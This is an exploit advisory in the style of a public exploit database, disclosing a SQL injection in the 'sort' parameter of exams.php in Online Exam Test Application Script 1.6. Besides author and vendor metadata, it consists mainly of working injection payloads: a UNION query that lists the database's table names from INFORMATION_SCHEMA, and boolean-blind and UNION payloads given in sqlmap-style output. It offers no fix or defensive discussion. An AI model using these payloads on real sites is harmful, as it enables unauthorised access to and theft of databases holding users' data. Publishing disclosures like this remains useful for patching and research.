Online Exam Test Application Script 1.6 - 'exams.php?sort' SQL Injection

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# Exploit Title: Online Exam Test Application Script 1.6 - 'Exams.php 'sort' SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/online-exam-test-application/
# Version: 1.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/exams.php?sort=[SQL]
#
# -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
#
# http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
#
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: sort=4 AND 9300=9300
#
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 6 columns
#     Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya
#
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